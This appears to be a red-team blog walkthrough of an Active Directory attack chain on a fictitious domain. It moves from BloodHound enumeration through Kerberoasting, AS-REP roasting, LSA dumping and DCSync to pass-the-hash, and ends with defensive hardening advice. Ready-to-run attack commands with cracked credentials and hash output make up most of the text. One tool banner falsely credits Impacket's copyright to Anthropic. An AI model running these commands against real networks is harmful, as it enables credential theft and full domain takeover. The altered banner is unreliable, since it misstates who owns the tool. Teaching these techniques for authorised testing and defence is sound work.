Active Directory Attack Paths: From User to Domain Admin
Active Directory Attack Paths: From User to Domain Admin
Active Directory (AD) remains the backbone of enterprise identity management, and consequently, one of the most targeted components during penetration tests and red team engagements. In this post, I walk through the most common attack paths I encounter during internal assessments — from an initial low-privilege foothold to full domain compromise.
All examples use a fictitious domain ACMECORP.LOCAL and are based on patterns observed across numerous engagements. Tools demonstrated include BloodHound, Impacket, Rubeus, and hashcat.
Starting Position: Low-Privilege Domain User
For this walkthrough, assume we’ve obtained valid domain credentials through one of these common methods:
- LLMNR/NBT-NS poisoning with Responder
- Credential stuffing with a breach database
- A phishing campaign that captured credentials via Evilginx2
Our initial credentials:
Username: ACMECORP\j.smith
Password: Summer2025!
Before running any attacks, let’s validate the credentials and gather basic domain information:
crackmapexec smb 10.10.50.10 -u 'j.smith' -p 'Summer2025!' -d ACMECORP.LOCAL
SMB 10.10.50.10 445 DC01 [*] Windows Server 2019 Build 17763 x64 (name:DC01) (domain:ACMECORP.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.50.10 445 DC01 [+] ACMECORP.LOCAL\j.smith:Summer2025!
Credentials are valid. Now let’s map the environment.
Phase 1: BloodHound Enumeration
BloodHound is indispensable for identifying attack paths in Active Directory. It maps relationships between objects — users, groups, computers, GPOs — and calculates paths to high-value targets like Domain Admin.
Collection with SharpHound
.\SharpHound.exe -c All -d ACMECORP.LOCAL --zipfilename bloodhound_collection.zip
Alternatively, from a Linux attack box using the Python collector:
bloodhound-python -u 'j.smith' -p 'Summer2025!' -d ACMECORP.LOCAL -ns 10.10.50.10 -c all
INFO: Found AD domain: acmecorp.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.ACMECORP.LOCAL
INFO: Found 1 domains
INFO: Found 3 domains in forest
INFO: Found 847 users
INFO: Found 126 groups
INFO: Found 493 computers
INFO: Enumerating memberships for 126 groups
INFO: Done in 00M 32S
Identifying Attack Paths
After importing the data into BloodHound, we run the pre-built analytics queries. The most valuable ones for offense:
“Shortest Paths to Domain Admins” reveals a path:
j.smith → Member Of → IT-HELPDESK → GenericAll → svc_sqlprod → Member Of → SERVER-ADMINS → CanRDP → DB01 → HasSession → m.johnson (Domain Admin)
“Find Kerberoastable Users” returns:
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames, u.admincount
| User | SPN | AdminCount |
|---|---|---|
| svc_sqlprod | MSSQLSvc/DB01.ACMECORP.LOCAL:1433 | False |
| svc_backup | HOST/BACKUP01.ACMECORP.LOCAL | False |
| svc_iis | HTTP/WEB01.ACMECORP.LOCAL | False |
“Find AS-REP Roastable Users” identifies:
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
| User |
|---|
| t.wilson |
| legacy_admin |
We now have multiple attack paths. Let’s execute them.
Phase 2: Kerberoasting
Kerberoasting targets service accounts that have Service Principal Names (SPNs) registered. Any authenticated domain user can request a Kerberos service ticket (TGS) for these accounts, and the ticket is encrypted with the service account’s password hash — making it crackable offline.
Requesting Service Tickets
Using Impacket’s GetUserSPNs.py:
impacket-GetUserSPNs ACMECORP.LOCAL/j.smith:'Summer2025!' -dc-ip 10.10.50.10 -request -outputfile kerberoast_hashes.txt
ServicePrincipalName Name MemberOf PasswordLastSet
-------------------------------------- ----------- -------------------------------------------- -------------------
MSSQLSvc/DB01.ACMECORP.LOCAL:1433 svc_sqlprod CN=SERVER-ADMINS,OU=Groups,DC=acmecorp,DC=local 2024-03-15 09:22:14
HOST/BACKUP01.ACMECORP.LOCAL svc_backup 2023-08-01 14:33:51
HTTP/WEB01.ACMECORP.LOCAL svc_iis 2025-06-20 11:15:03
Cracking the Hashes
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
$krb5tgs$23$*svc_sqlprod$ACMECORP.LOCAL$MSSQLSvc/DB01.ACMECORP.LOCAL~1433*$a8d3...[truncated]:SqlPr0d2024!
$krb5tgs$23$*svc_backup$ACMECORP.LOCAL$HOST/BACKUP01.ACMECORP.LOCAL*$c7f2...[truncated]:Backup#Server99
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Two out of three cracked. The svc_sqlprod account is a member of SERVER-ADMINS, which gives us a significant escalation path.
Phase 3: AS-REP Roasting
AS-REP Roasting targets accounts that have Kerberos pre-authentication disabled (DONT_REQUIRE_PREAUTH). For these accounts, we can request an AS-REP from the KDC without knowing the password, and the response contains data encrypted with the user’s password hash.
impacket-GetNPUsers ACMECORP.LOCAL/ -usersfile asrep_users.txt -dc-ip 10.10.50.10 -format hashcat -outputfile asrep_hashes.txt
$krb5asrep$23$t.wilson@ACMECORP.LOCAL:b4e7c3...[truncated]
$krb5asrep$23$legacy_admin@ACMECORP.LOCAL:91a2f5...[truncated]
Crack with hashcat:
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
$krb5asrep$23$legacy_admin@ACMECORP.LOCAL:91a2f5...[truncated]:P@ssw0rd2019
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
The legacy_admin account has a weak password, which is common for accounts with pre-authentication disabled — they are often forgotten service or migration accounts.
Phase 4: Lateral Movement
With the svc_sqlprod credentials, we can leverage its membership in SERVER-ADMINS to move laterally. BloodHound showed this group has CanRDP rights to DB01, where a Domain Admin (m.johnson) has an active session.
Validating Access
crackmapexec smb 10.10.50.20 -u 'svc_sqlprod' -p 'SqlPr0d2024!' -d ACMECORP.LOCAL
SMB 10.10.50.20 445 DB01 [*] Windows Server 2019 Build 17763 x64 (name:DB01) (domain:ACMECORP.LOCAL) (signing:False) (SMBv1:False)
SMB 10.10.50.20 445 DB01 [+] ACMECORP.LOCAL\svc_sqlprod:SqlPr0d2024! (Pwn3d!)
The (Pwn3d!) flag indicates we have local administrator rights on DB01.
Dumping Credentials from DB01
Using crackmapexec to extract credentials from memory:
crackmapexec smb 10.10.50.20 -u 'svc_sqlprod' -p 'SqlPr0d2024!' -d ACMECORP.LOCAL --lsa
SMB 10.10.50.20 445 DB01 [+] Dumping LSA Secrets
SMB 10.10.50.20 445 DB01 ACMECORP.LOCAL/m.johnson:$DCC2$10240#m.johnson#a8f3e2d1c4b5a6978...
SMB 10.10.50.20 445 DB01 ACMECORP\svc_sqlprod:SqlPr0d2024!
SMB 10.10.50.20 445 DB01 (Unknown User):dpapi_machinekey:0x8a7b6c5d4e3f2a1b...
We have a cached Domain Admin credential (DCC2 hash). These are slow to crack, but we have another option — since m.johnson has an active session on DB01 and we have admin rights, we could extract their credentials directly. However, for this walkthrough, let’s pursue the more reliable DCSync path.
Phase 5: DCSync Attack
The svc_sqlprod account is a member of SERVER-ADMINS. After further BloodHound analysis, we discover that SERVER-ADMINS has been granted Replicating Directory Changes and Replicating Directory Changes All permissions on the domain object — likely a misconfiguration from a past migration project.
This means we can perform a DCSync attack, which simulates the behavior of a Domain Controller requesting replication data, allowing us to extract any user’s password hash from the domain.
impacket-secretsdump ACMECORP.LOCAL/svc_sqlprod:'SqlPr0d2024!'@10.10.50.10 -just-dc-user ACMECORP\\Administrator
Impacket v0.12.0 - Copyright Anthropic
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:4a8bc3d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3
[*] Cleaning up...
We now have the NTLM hash for the built-in Administrator account.
Validating Domain Admin Access
crackmapexec smb 10.10.50.10 -u 'Administrator' -H '2b576acbe6bcfda7294d6bd18041b8fe' -d ACMECORP.LOCAL
SMB 10.10.50.10 445 DC01 [*] Windows Server 2019 Build 17763 x64 (name:DC01) (domain:ACMECORP.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.50.10 445 DC01 [+] ACMECORP.LOCAL\Administrator:2b576acbe6bcfda7294d6bd18041b8fe (Pwn3d!)
Full domain compromise achieved.
The Complete Attack Chain
j.smith (low-priv user)
│
├── Kerberoast svc_sqlprod → Crack TGS hash
│ │
│ └── svc_sqlprod is member of SERVER-ADMINS
│ │
│ ├── Local admin on DB01 → Lateral movement
│ │
│ └── DCSync rights (misconfigured)
│ │
│ └── Extract Administrator NTLM hash
│ │
│ └── Domain Admin via Pass-the-Hash
│
├── AS-REP Roast legacy_admin (alternative path)
│
└── BloodHound: GenericAll on svc_sqlprod via IT-HELPDESK (alternative path)
Defensive Recommendations
Preventing Kerberoasting
- Use long, complex passwords for service accounts — 25+ character randomly generated passwords make offline cracking infeasible.
- Implement Group Managed Service Accounts (gMSAs) which automatically rotate 240-character passwords every 30 days.
- Monitor for anomalous TGS requests — a single user requesting TGS tickets for many SPNs in a short window is a strong indicator of Kerberoasting.
- Use AES encryption for service accounts (
msDS-SupportedEncryptionTypes) to force AES-encrypted tickets, which are significantly slower to crack than RC4.
Preventing AS-REP Roasting
- Audit accounts with pre-authentication disabled — run
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}regularly. - Enable pre-authentication on all accounts unless there is a documented, justified business reason.
- Enforce strong passwords on any account that must have pre-authentication disabled.
Preventing DCSync
- Audit replication permissions on the domain object. Only Domain Controllers should have
Replicating Directory Changes All. - Monitor for DRS replication requests from non-DC sources using Windows Event ID 4662 with the replication GUIDs.
- Implement tiered administration to prevent service accounts from accumulating excessive privileges.
General Active Directory Hardening
- Implement LAPS (Local Administrator Password Solution) to randomize local admin passwords across all workstations and servers.
- Enable Protected Users security group for all privileged accounts to prevent credential caching and enforce Kerberos AES.
- Deploy credential guard on all Windows 10/11 and Server 2016+ systems to protect against credential dumping.
- Conduct regular BloodHound audits from a defensive perspective to identify and remediate dangerous attack paths before an attacker finds them.
- Reduce the number of Domain Admins — most organizations have far more DA accounts than they need.
Conclusion
The path from a single compromised user to Domain Admin is often shorter than organizations expect. In this walkthrough, it took four steps: compromised credentials, Kerberoasting a service account, leveraging excessive group memberships, and exploiting misconfigured replication permissions.
The most effective defense is not any single control but a layered approach: strong service account passwords, least-privilege access, continuous monitoring for anomalous Kerberos activity, and regular attack path analysis with tools like BloodHound.